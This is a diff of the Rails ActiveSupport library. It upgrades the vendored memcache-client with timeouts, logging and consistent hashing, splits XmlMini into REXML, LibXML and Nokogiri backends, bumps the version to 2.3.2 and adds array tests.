--- a/activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb
+++ b/activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb
@@ -1,52 +1,21 @@
-# All original code copyright 2005, 2006, 2007 Bob Cottrell, Eric Hodel,
-# The Robot Co-op. All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#
-# 1. Redistributions of source code must retain the above copyright
-# notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-# notice, this list of conditions and the following disclaimer in the
-# documentation and/or other materials provided with the distribution.
-# 3. Neither the names of the authors nor the names of their contributors
-# may be used to endorse or promote products derived from this software
-# without specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS
-# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
-# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
-# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
-# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
-# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
-# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
$TESTING = defined?($TESTING) && $TESTING
require 'socket'
require 'thread'
require 'timeout'
-require 'rubygems'
require 'zlib'
+require 'digest/sha1'
##
# A Ruby client library for memcached.
#
-# This is intended to provide access to basic memcached functionality. It
-# does not attempt to be complete implementation of the entire API, but it is
-# approaching a complete implementation.
class MemCache
##
# The version of MemCache you are using.
- VERSION = '1.5.0.5'
+ VERSION = '1.6.4.99'
##
# Default options for the cache object.
@@ -54,8 +23,10 @@ class MemCache
DEFAULT_OPTIONS = {
:namespace => nil,
:readonly => false,
- :multithread => false,
- :failover => true
+ :multithread => true,
+ :failover => true,
+ :timeout => 0.5,
+ :logger => nil,
}
##
@@ -69,13 +40,6 @@ class MemCache
DEFAULT_WEIGHT = 1
##
- # The amount of time to wait for a response from a memcached server. If a
- # response is not completed within this time, the connection to the server
- # will be closed and an error will be raised.
-
- attr_accessor :request_timeout
-
- ##
# The namespace for this instance
attr_reader :namespace
@@ -91,9 +55,22 @@ class MemCache
attr_reader :servers
##
- # Whether this client should failover reads and writes to another server
+ # Socket timeout limit with this client, defaults to 0.5 sec.
+ # Set to nil to disable timeouts.
+
+ attr_reader :timeout
+
+ ##
+ # Should the client try to failover to another server if the
+ # first server is down? Defaults to true.
+
+ attr_reader :failover
+
+ ##
+ # Log debug/info/warn/error to the given Logger, defaults to nil.
+
+ attr_reader :logger
- attr_accessor :failover
##
# Accepts a list of +servers+ and a list of +opts+. +servers+ may be
# omitted. See +servers=+ for acceptable server list arguments.
@@ -103,7 +80,11 @@ class MemCache
# [:namespace] Prepends this value to all keys added or retrieved.
# [:readonly] Raises an exception on cache writes when true.
# [:multithread] Wraps cache access in a Mutex for thread safety.
- #
+ # [:failover] Should the client try to failover to another server if the
+ # first server is down? Defaults to true.
+ # [:timeout] Time to use as the socket read timeout. Defaults to 0.5 sec,
+ # set to nil to disable timeouts (this is a major performance penalty in Ruby 1.8).
+ # [:logger] Logger to use for info/debug output, defaults to nil
# Other options are ignored.
def initialize(*args)
@@ -130,9 +111,15 @@ class MemCache
@namespace = opts[:namespace]
@readonly = opts[:readonly]
@multithread = opts[:multithread]
- @failover = opts[:failover]
+ @timeout = opts[:timeout]
+ @failover = opts[:failover]
+ @logger = opts[:logger]
@mutex = Mutex.new if @multithread
- @buckets = []
+
+ logger.info { "memcache-client #{VERSION} #{Array(servers).inspect}" } if logger
+
+ Thread.current[:memcache_client] = self.object_id if !@multithread
+
self.servers = servers
end
@@ -140,8 +127,8 @@ class MemCache
# Returns a string representation of the cache object.
def inspect
- "<MemCache: %d servers, %d buckets, ns: %p, ro: %p>" %
- [@servers.length, @buckets.length, @namespace, @readonly]
+ "<MemCache: %d servers, ns: %p, ro: %p>" %
+ [@servers.length, @namespace, @readonly]
end
##
@@ -162,7 +149,7 @@ class MemCache
# Set the servers that the requests will be distributed between. Entries
# can be either strings of the form "hostname:port" or
# "hostname:port:weight" or MemCache::Server objects.
-
+ #
def servers=(servers)
# Create the server objects.
@servers = Array(servers).collect do |server|
@@ -172,21 +159,17 @@ class MemCache
port ||= DEFAULT_PORT
weight ||= DEFAULT_WEIGHT
Server.new self, host, port, weight
- when Server
- if server.memcache.multithread != @multithread then
- raise ArgumentError, "can't mix threaded and non-threaded servers"
- end
- server
else
- raise TypeError, "cannot convert #{server.class} into MemCache::Server"
+ server
end
end
- # Create an array of server buckets for weight selection of servers.
- @buckets = []
- @servers.each do |server|
- server.weight.times { @buckets.push(server) }
- end
+ logger.debug { "Servers now: #{@servers.inspect}" } if logger
+
+ # There's no point in doing this if there's only one server
+ @continuum = create_continuum_for(@servers) if @servers.size > 1
+
+ @servers
end
##
@@ -210,6 +193,7 @@ class MemCache
def get(key, raw = false)
with_server(key) do |server, cache_key|
value = cache_get server, cache_key
+ logger.debug { "GET #{key} from #{server.inspect}: #{value ? value.to_s.size : 'nil'}" } if logger
return nil if value.nil?
value = Marshal.load value unless raw
return value
@@ -233,6 +217,8 @@ class MemCache
# cache["a"] = 1
# cache["b"] = 2
# cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 }
+ #
+ # Note that get_multi assumes the values are marshalled.
def get_multi(*keys)
raise MemCacheError, 'No active servers' unless active?
@@ -252,15 +238,20 @@ class MemCache
results = {}
server_keys.each do |server, keys_for_server|
- keys_for_server = keys_for_server.join ' '
- values = cache_get_multi server, keys_for_server
- values.each do |key, value|
- results[cache_keys[key]] = Marshal.load value
+ keys_for_server_str = keys_for_server.join ' '
+ begin
+ values = cache_get_multi server, keys_for_server_str
+ values.each do |key, value|
+ results[cache_keys[key]] = Marshal.load value
+ end
+ rescue IndexError => e
+ # Ignore this server and try the others
+ logger.warn { "Unable to retrieve #{keys_for_server.size} elements from #{server.inspect}: #{e.message}"} if logger
end
end
return results
- rescue TypeError, IndexError => err
+ rescue TypeError => err
handle_error nil, err
end
@@ -285,12 +276,19 @@ class MemCache
# Warning: Readers should not call this method in the event of a cache miss;
# see MemCache#add.
+ ONE_MB = 1024 * 1024
+
def set(key, value, expiry = 0, raw = false)
raise MemCacheError, "Update of readonly cache" if @readonly
with_server(key) do |server, cache_key|
value = Marshal.dump value unless raw
- command = "set #{cache_key} 0 #{expiry} #{value.to_s.size}\r\n#{value}\r\n"
+ logger.debug { "SET #{key} to #{server.inspect}: #{value ? value.to_s.size : 'nil'}" } if logger
+
+ data = value.to_s
+ raise MemCacheError, "Value too large, memcached can only store 1MB of data per key" if data.size > ONE_MB
+
+ command = "set #{cache_key} 0 #{expiry} #{data.size}\r\n#{data}\r\n"
with_socket_management(server) do |socket|
socket.write command
@@ -319,7 +317,8 @@ class MemCache
raise MemCacheError, "Update of readonly cache" if @readonly
with_server(key) do |server, cache_key|
value = Marshal.dump value unless raw
- command = "add #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n"
+ logger.debug { "ADD #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
+ command = "add #{cache_key} 0 #{expiry} #{value.to_s.size}\r\n#{value}\r\n"
with_socket_management(server) do |socket|
socket.write command
@@ -353,7 +352,6 @@ class MemCache
raise MemCacheError, "Update of readonly cache" if @readonly
begin
- @mutex.lock if @multithread
@servers.each do |server|
with_socket_management(server) do |socket|
socket.write "flush_all\r\n"
@@ -364,8 +362,6 @@ class MemCache
end
rescue IndexError => err
handle_error nil, err
- ensure
- @mutex.unlock if @multithread
end
end
@@ -424,7 +420,7 @@ class MemCache
while line = socket.gets do
raise_on_error_response! line
break if line == "END\r\n"
- if line =~ /\ASTAT ([\w]+) ([\w\.\:]+)/ then
+ if line =~ /\ASTAT ([\S]+) ([\w\.\:]+)/ then
name, value = $1, $2
stats[name] = case name
when 'version'
@@ -478,6 +474,14 @@ class MemCache
end
##
+ # Returns an interoperable hash value for +key+. (I think, docs are
+ # sketchy for down servers).
+
+ def hash_for(key)
+ Zlib.crc32(key)
+ end
+
+ ##
# Pick a server to handle the request based on a hash of the key.
def get_server_for_key(key, options = {})
@@ -487,27 +491,17 @@ class MemCache
raise MemCacheError, "No servers available" if @servers.empty?
return @servers.first if @servers.length == 1
- hkey = hash_for key
-
- if @failover
- 20.times do |try|
- server = @buckets[hkey % @buckets.compact.size]
- return server if server.alive?
- hkey += hash_for "#{try}#{key}"
- end
- else
- return @buckets[hkey % @buckets.compact.size]
- end
-
- raise MemCacheError, "No servers available"
- end
+ hkey = hash_for(key)
- ##
- # Returns an interoperable hash value for +key+. (I think, docs are
- # sketchy for down servers).
+ 20.times do |try|
+ entryidx = Continuum.binary_search(@continuum, hkey)
+ server = @continuum[entryidx].server
+ return server if server.alive?
+ break unless failover
+ hkey = hash_for "#{try}#{key}"
+ end
- def hash_for(key)
- (Zlib.crc32(key) >> 16) & 0x7fff
+ raise MemCacheError, "No servers available"
end
##
@@ -608,24 +602,28 @@ class MemCache
# failures (but does still apply to unexpectedly lost connections etc.).
def with_socket_management(server, &block)
+ check_multithread_status!
+
@mutex.lock if @multithread
retried = false
-
+
begin
socket = server.socket
# Raise an IndexError to show this server is out of whack. If were inside
# a with_server block, we'll catch it and attempt to restart the operation.
-
+
raise IndexError, "No connection to server (#{server.status})" if socket.nil?
-
+
block.call(socket)
-
+
rescue SocketError => err
- server.mark_dead(err.message)
+ logger.warn { "Socket failure: #{err.message}" } if logger
+ server.mark_dead(err)
handle_error(server, err)
- rescue MemCacheError, SocketError, SystemCallError, IOError => err
+ rescue MemCacheError, SystemCallError, IOError => err
+ logger.warn { "Generic failure: #{err.class.name}: #{err.message}" } if logger
handle_error(server, err) if retried || socket.nil?
retried = true
retry
@@ -640,8 +638,9 @@ class MemCache
server, cache_key = request_setup(key)
yield server, cache_key
rescue IndexError => e
+ logger.warn { "Server failed: #{e.class.name}: #{e.message}" } if logger
if !retried && @servers.size > 1
- puts "Connection to server #{server.inspect} DIED! Retrying operation..."
+ logger.info { "Connection to server #{server.inspect} DIED! Retrying operation..." } if logger
retried = true
retry
end
@@ -677,6 +676,37 @@ class MemCache
end
end
+ def create_continuum_for(servers)
+ total_weight = servers.inject(0) { |memo, srv| memo + srv.weight }
+ continuum = []
+
+ servers.each do |server|
+ entry_count_for(server, servers.size, total_weight).times do |idx|
+ hash = Digest::SHA1.hexdigest("#{server.host}:#{server.port}:#{idx}")
+ value = Integer("0x#{hash[0..7]}")
+ continuum << Continuum::Entry.new(value, server)
+ end
+ end
+
+ continuum.sort { |a, b| a.value <=> b.value }
+ end
+
+ def entry_count_for(server, total_servers, total_weight)
+ ((total_servers * Continuum::POINTS_PER_SERVER * server.weight) / Float(total_weight)).floor
+ end
+
+ def check_multithread_status!
+ return if @multithread
+
+ if Thread.current[:memcache_client] != self.object_id
+ raise MemCacheError, <<-EOM
+ You are accessing this memcache-client instance from multiple threads but have not enabled multithread support.
+ Normally: MemCache.new(['localhost:11211'], :multithread => true)
+ In Rails: config.cache_store = [:mem_cache_store, 'localhost:11211', { :multithread => true }]
+ EOM
+ end
+ end
+
##
# This class represents a memcached server instance.
@@ -690,13 +720,6 @@ class MemCache
CONNECT_TIMEOUT = 0.25
##
- # The amount of time to wait for a response from a memcached server.
- # If a response isn't received within this time limit,
- # the server will be marked as down.
-
- SOCKET_TIMEOUT = 0.5
-
- ##
# The amount of time to wait before attempting to re-establish a
# connection with a server that is marked dead.
@@ -727,6 +750,8 @@ class MemCache
attr_reader :status
+ attr_reader :logger
+
##
# Create a new MemCache::Server object for the memcached instance
# listening on the given host and port, weighted by the given weight.
@@ -735,17 +760,15 @@ class MemCache
raise ArgumentError, "No host specified" if host.nil? or host.empty?
raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero?
- @memcache = memcache
@host = host
@port = port.to_i
@weight = weight.to_i
- @multithread = @memcache.multithread
- @mutex = Mutex.new
-
@sock = nil
@retry = nil
@status = 'NOT CONNECTED'
+ @timeout = memcache.timeout
+ @logger = memcache.logger
end
##
@@ -770,7 +793,6 @@ class MemCache
# Returns the connected socket object on success or nil on failure.
def socket
- @mutex.lock if @multithread
return @sock if @sock and not @sock.closed?
@sock = nil
@@ -780,8 +802,7 @@ class MemCache
# Attempt to connect if not already connected.
begin
-
- @sock = TCPTimeoutSocket.new @host, @port
+ @sock = @timeout ? TCPTimeoutSocket.new(@host, @port, @timeout) : TCPSocket.new(@host, @port)
if Socket.constants.include? 'TCP_NODELAY' then
@sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1
@@ -789,12 +810,11 @@ class MemCache
@retry = nil
@status = 'CONNECTED'
rescue SocketError, SystemCallError, IOError, Timeout::Error => err
- mark_dead err.message
+ logger.warn { "Unable to open socket: #{err.class.name}, #{err.message}" } if logger
+ mark_dead err
end
return @sock
- ensure
- @mutex.unlock if @multithread
end
##
@@ -802,24 +822,23 @@ class MemCache
# object. The server is not considered dead.
def close
- @mutex.lock if @multithread
@sock.close if @sock && !@sock.closed?
@sock = nil
@retry = nil
@status = "NOT CONNECTED"
- ensure
- @mutex.unlock if @multithread
end
##
# Mark the server as dead and close its socket.
- def mark_dead(reason = "Unknown error")
+ def mark_dead(error)
@sock.close if @sock && !@sock.closed?
@sock = nil
@retry = Time.now + RETRY_DELAY
- @status = sprintf "%s:%s DEAD: %s, will retry at %s", @host, @port, reason, @retry
+ reason = "#{error.class.name}: #{error.message}"
+ @status = sprintf "%s:%s DEAD (%s), will retry at %s", @host, @port, reason, @retry
+ @logger.info { @status } if @logger
end
end
@@ -833,36 +852,84 @@ end
# TCPSocket facade class which implements timeouts.
class TCPTimeoutSocket
- def initialize(*args)
+
+ def initialize(host, port, timeout)
Timeout::timeout(MemCache::Server::CONNECT_TIMEOUT, SocketError) do
- @sock = TCPSocket.new(*args)
- @len = MemCache::Server::SOCKET_TIMEOUT.to_f || 0.5
+ @sock = TCPSocket.new(host, port)
+ @len = timeout
end
end
-
+
def write(*args)
Timeout::timeout(@len, SocketError) do
@sock.write(*args)
end
end
-
+
def gets(*args)
Timeout::timeout(@len, SocketError) do
@sock.gets(*args)
end
end
-
+
def read(*args)
Timeout::timeout(@len, SocketError) do
@sock.read(*args)
end
end
-
+
def _socket
@sock
end
-
+
def method_missing(meth, *args)
@sock.__send__(meth, *args)
end
-end \ No newline at end of file
+
+ def closed?
+ @sock.closed?
+ end
+
+ def close
+ @sock.close
+ end
+end
+
+module Continuum
+ POINTS_PER_SERVER = 160 # this is the default in libmemcached
+
+ # Find the closest index in Continuum with value <= the given value
+ def self.binary_search(ary, value, &block)
+ upper = ary.size - 1
+ lower = 0
+ idx = 0
+
+ while(lower <= upper) do
+ idx = (lower + upper) / 2
+ comp = ary[idx].value <=> value
+
+ if comp == 0
+ return idx
+ elsif comp > 0
+ upper = idx - 1
+ else
+ lower = idx + 1
+ end
+ end
+ return upper
+ end
+
+ class Entry
+ attr_reader :value
+ attr_reader :server
+
+ def initialize(val, srv)
+ @value = val
+ @server = srv
+ end
+
+ def inspect
+ "<#{value}, #{server.host}:#{server.port}>"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 3e2b29b327..30f598a8de 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -2,7 +2,7 @@ module ActiveSupport
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index bfc3d7b00b..ccd1349491 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,111 +1,31 @@
-# = XmlMini
-# This is a derivitive work of XmlSimple 1.0.11
-# Author:: Joseph Holsten <joseph@josephholsten.com>
-# Copyright:: Copyright (c) 2008 Joseph Holsten
-# Copyright:: Copyright (c) 2003-2006 Maik Schmidt <contact@maik-schmidt.de>
-# License:: Distributes under the same terms as Ruby.
-module XmlMini
- extend self
-
- CONTENT_KEY = '__content__'.freeze
-
- # Parse an XML Document string into a simple hash
- #
- # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
- # and uses the defaults from ActiveSupport
+module ActiveSupport
+ # = XmlMini
#
- # string::
- # XML Document string to parse
- def parse(string)
- require 'rexml/document' unless defined?(REXML::Document)
- doc = REXML::Document.new(string)
- merge_element!({}, doc.root)
- end
-
- private
- # Convert an XML element and merge into the hash
- #
- # hash::
- # Hash to merge the converted element into.
- # element::
- # XML element to merge into hash
- def merge_element!(hash, element)
- merge!(hash, element.name, collapse(element))
- end
-
- # Actually converts an XML document element into a data structure.
- #
- # element::
- # The document element to be collapsed.
- def collapse(element)
- hash = get_attributes(element)
-
- if element.has_elements?
- element.each_element {|child| merge_element!(hash, child) }
- merge_texts!(hash, element) unless empty_content?(element)
- hash
- else
- merge_texts!(hash, element)
- end
- end
-
- # Merge all the texts of an element into the hash
- #
- # hash::
- # Hash to add the converted emement to.
- # element::
- # XML element whose texts are to me merged into the hash
- def merge_texts!(hash, element)
- unless element.has_text?
- hash
+ # To use the much faster libxml parser:
+ # gem 'libxml-ruby', '=0.9.7'
+ # XmlMini.backend = 'LibXML'
+ module XmlMini
+ extend self
+
+ attr_reader :backend
+ delegate :parse, :to => :backend
+
+ def backend=(name)
+ if name.is_a?(Module)
+ @backend = name
else
- # must use value to prevent double-escaping
- merge!(hash, CONTENT_KEY, element.texts.sum(&:value))
+ require "active_support/xml_mini/#{name.to_s.downcase}.rb"
+ @backend = ActiveSupport.const_get("XmlMini_#{name}")
end
end
- # Adds a new key/value pair to an existing Hash. If the key to be added
- # already exists and the existing value associated with key is not
- # an Array, it will be wrapped in an Array. Then the new value is
- # appended to that Array.
- #
- # hash::
- # Hash to add key/value pair to.
- # key::
- # Key to be added.
- # value::
- # Value to be associated with key.
- def merge!(hash, key, value)
- if hash.has_key?(key)
- if hash[key].instance_of?(Array)
- hash[key] << value
- else
- hash[key] = [hash[key], value]
- end
- elsif value.instance_of?(Array)
- hash[key] = [value]
- else
- hash[key] = value
- end
- hash
- end
-
- # Converts the attributes array of an XML element into a hash.
- # Returns an empty Hash if node has no attributes.
- #
- # element::
- # XML element to extract attributes from.
- def get_attributes(element)
- attributes = {}
- element.attributes.each { |n,v| attributes[n] = v }
- attributes
+ def with_backend(name)
+ old_backend, self.backend = backend, name
+ yield
+ ensure
+ self.backend = old_backend
end
+ end
- # Determines if a document element has text content
- #
- # element::
- # XML element to be checked.
- def empty_content?(element)
- element.texts.join.blank?
- end
+ XmlMini.backend = 'REXML'
end
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
new file mode 100644
index 0000000000..3586b24a6b
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -0,0 +1,133 @@
+require 'libxml'
+
+# = XmlMini LibXML implementation
+module ActiveSupport
+ module XmlMini_LibXML #:nodoc:
+ extend self
+
+ # Parse an XML Document string into a simple hash using libxml.
+ # string::
+ # XML Document string to parse
+ def parse(string)
+ LibXML::XML.default_keep_blanks = false
+
+ if string.blank?
+ {}
+ else
+ LibXML::XML::Parser.string(string.strip).parse.to_hash
+ end
+ end
+
+ end
+end
+
+module LibXML
+ module Conversions
+ module Document
+ def to_hash
+ root.to_hash
+ end
+ end
+
+ module Node
+ CONTENT_ROOT = '__content__'
+ LIB_XML_LIMIT = 30000000 # Hardcoded LibXML limit
+
+ # Convert XML document to hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ def to_hash(hash={})
+ if text?
+ raise LibXML::XML::Error if content.length >= LIB_XML_LIMIT
+ hash[CONTENT_ROOT] = content
+ else
+ sub_hash = insert_name_into_hash(hash, name)
+ attributes_to_hash(sub_hash)
+ if array?
+ children_array_to_hash(sub_hash)
+ elsif yaml?
+ children_yaml_to_hash(sub_hash)
+ else
+ children_to_hash(sub_hash)
+ end
+ end
+ hash
+ end
+
+ protected
+
+ # Insert name into hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ # name::
+ # name to to merge into hash
+ def insert_name_into_hash(hash, name)
+ sub_hash = {}
+ if hash[name]
+ if !hash[name].kind_of? Array
+ hash[name] = [hash[name]]
+ end
+ hash[name] << sub_hash
+ else
+ hash[name] = sub_hash
+ end
+ sub_hash
+ end
+
+ # Insert children into hash
+ #
+ # hash::
+ # Hash to merge the children into.
+ def children_to_hash(hash={})
+ each { |child| child.to_hash(hash) }
+ attributes_to_hash(hash)
+ hash
+ end
+
+ # Convert xml attributes to hash
+ #
+ # hash::
+ # Hash to merge the attributes into
+ def attributes_to_hash(hash={})
+ each_attr { |attr| hash[attr.name] = attr.value }
+ hash
+ end
+
+ # Convert array into hash
+ #
+ # hash::
+ # Hash to merge the array into
+ def children_array_to_hash(hash={})
+ hash[child.name] = map do |child|
+ returning({}) { |sub_hash| child.children_to_hash(sub_hash) }
+ end
+ hash
+ end
+
+ # Convert yaml into hash
+ #
+ # hash::
+ # Hash to merge the yaml into
+ def children_yaml_to_hash(hash = {})
+ hash[CONTENT_ROOT] = content unless content.blank?
+ hash
+ end
+
+ # Check if child is of type array
+ def array?
+ child? && child.next? && child.name == child.next.name
+ end
+
+ # Check if child is of type yaml
+ def yaml?
+ attributes.collect{|x| x.value}.include?('yaml')
+ end
+
+ end
+ end
+end
+
+LibXML::XML::Document.send(:include, LibXML::Conversions::Document)
+LibXML::XML::Node.send(:include, LibXML::Conversions::Node)
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
new file mode 100644
index 0000000000..10281584fc
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -0,0 +1,77 @@
+require 'nokogiri'
+
+# = XmlMini Nokogiri implementation
+module ActiveSupport
+ module XmlMini_Nokogiri #:nodoc:
+ extend self
+
+ # Parse an XML Document string into a simple hash using libxml / nokogiri.
+ # string::
+ # XML Document string to parse
+ def parse(string)
+ if string.blank?
+ {}
+ else
+ doc = Nokogiri::XML(string)
+ raise doc.errors.first if doc.errors.length > 0
+ doc.to_hash
+ end
+ end
+
+ module Conversions
+ module Document
+ def to_hash
+ root.to_hash
+ end
+ end
+
+ module Node
+ CONTENT_ROOT = '__content__'
+
+ # Convert XML document to hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ def to_hash(hash = {})
+ hash[name] ||= attributes_as_hash
+
+ walker = lambda { |memo, parent, child, callback|
+ next if child.blank? && 'file' != parent['type']
+
+ if child.text?
+ (memo[CONTENT_ROOT] ||= '') << child.content
+ next
+ end
+
+ name = child.name
+
+ child_hash = child.attributes_as_hash
+ if memo[name]
+ memo[name] = [memo[name]].flatten
+ memo[name] << child_hash
+ else
+ memo[name] = child_hash
+ end
+
+ # Recusively walk children
+ child.children.each { |c|
+ callback.call(child_hash, child, c, callback)
+ }
+ }
+
+ children.each { |c| walker.call(hash[name], self, c, walker) }
+ hash
+ end
+
+ def attributes_as_hash
+ Hash[*(attribute_nodes.map { |node|
+ [node.node_name, node.value]
+ }.flatten)]
+ end
+ end
+ end
+
+ Nokogiri::XML::Document.send(:include, Conversions::Document)
+ Nokogiri::XML::Node.send(:include, Conversions::Node)
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
new file mode 100644
index 0000000000..a8fdeca967
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -0,0 +1,108 @@
+# = XmlMini ReXML implementation
+module ActiveSupport
+ module XmlMini_REXML #:nodoc:
+ extend self
+
+ CONTENT_KEY = '__content__'.freeze
+
+ # Parse an XML Document string into a simple hash
+ #
+ # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
+ # and uses the defaults from ActiveSupport
+ #
+ # string::
+ # XML Document string to parse
+ def parse(string)
+ require 'rexml/document' unless defined?(REXML::Document)
+ doc = REXML::Document.new(string)
+ merge_element!({}, doc.root)
+ end
+
+ private
+ # Convert an XML element and merge into the hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ # element::
+ # XML element to merge into hash
+ def merge_element!(hash, element)
+ merge!(hash, element.name, collapse(element))
+ end
+
+ # Actually converts an XML document element into a data structure.
+ #
+ # element::
+ # The document element to be collapsed.
+ def collapse(element)
+ hash = get_attributes(element)
+
+ if element.has_elements?
+ element.each_element {|child| merge_element!(hash, child) }
+ merge_texts!(hash, element) unless empty_content?(element)
+ hash
+ else
+ merge_texts!(hash, element)
+ end
+ end
+
+ # Merge all the texts of an element into the hash
+ #
+ # hash::
+ # Hash to add the converted emement to.
+ # element::
+ # XML element whose texts are to me merged into the hash
+ def merge_texts!(hash, element)
+ unless element.has_text?
+ hash
+ else
+ # must use value to prevent double-escaping
+ merge!(hash, CONTENT_KEY, element.texts.sum(&:value))
+ end
+ end
+
+ # Adds a new key/value pair to an existing Hash. If the key to be added
+ # already exists and the existing value associated with key is not
+ # an Array, it will be wrapped in an Array. Then the new value is
+ # appended to that Array.
+ #
+ # hash::
+ # Hash to add key/value pair to.
+ # key::
+ # Key to be added.
+ # value::
+ # Value to be associated with key.
+ def merge!(hash, key, value)
+ if hash.has_key?(key)
+ if hash[key].instance_of?(Array)
+ hash[key] << value
+ else
+ hash[key] = [hash[key], value]
+ end
+ elsif value.instance_of?(Array)
+ hash[key] = [value]
+ else
+ hash[key] = value
+ end
+ hash
+ end
+
+ # Converts the attributes array of an XML element into a hash.
+ # Returns an empty Hash if node has no attributes.
+ #
+ # element::
+ # XML element to extract attributes from.
+ def get_attributes(element)
+ attributes = {}
+ element.attributes.each { |n,v| attributes[n] = v }
+ attributes
+ end
+
+ # Determines if a document element has text content
+ #
+ # element::
+ # XML element to be checked.
+ def empty_content?(element)
+ element.texts.join.blank?
+ end
+ end
+end
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index ac362d14c8..a0c0c59e47 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -1,6 +1,7 @@
require 'rubygems'
require 'test/unit'
-gem 'mocha', '>= 0.9.3'
+
+gem 'mocha', '>= 0.9.5'
require 'mocha'
$:.unshift "#{File.dirname(__FILE__)}/../lib"
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
index 93f4482307..b70ec475ad 100644
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -48,6 +48,8 @@ class ArrayExtToParamTests < Test::Unit::TestCase
end
class ArrayExtToSentenceTests < Test::Unit::TestCase
+ include ActiveSupport::Testing::Deprecation
+
def test_plain_array_to_sentence
assert_equal "", [].to_sentence
assert_equal "one", ['one'].to_sentence
@@ -56,12 +58,28 @@ class ArrayExtToSentenceTests < Test::Unit::TestCase
end
def test_to_sentence_with_words_connector
+ assert_deprecated(":connector has been deprecated. Use :words_connector instead") do
+ assert_equal "one, two, three", ['one', 'two', 'three'].to_sentence(:connector => '')
+ end
+
+ assert_deprecated(":connector has been deprecated. Use :words_connector instead") do
+ assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:connector => 'and ')
+ end
+
assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ')
assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ')
assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil)
end
def test_to_sentence_with_last_word_connector
+ assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do
+ assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => true)
+ end
+
+ assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do
+ assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => false)
+ end
+
assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ')
assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil)
assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ')
@@ -302,3 +320,37 @@ class ArrayExtRandomTests < Test::Unit::TestCase
assert_equal 2, [1, 2, 3].rand
end
end
+
+class ArrayWrapperTests < Test::Unit::TestCase
+ class FakeCollection
+ def to_ary
+ ["foo", "bar"]
+ end
+ end
+
+ def test_array
+ ary = %w(foo bar)
+ assert_same ary, Array.wrap(ary)
+ end
+
+ def test_nil
+ assert_equal [], Array.wrap(nil)
+ end
+
+ def test_object
+ o = Object.new
+ assert_equal [o], Array.wrap(o)
+ end
+
+ def test_string
+ assert_equal ["foo"], Array.wrap("foo")
+ end
+
+ def test_string_with_newline
+ assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
+ end
+
+ def test_object_with_to_ary
+ assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
+ end
+end
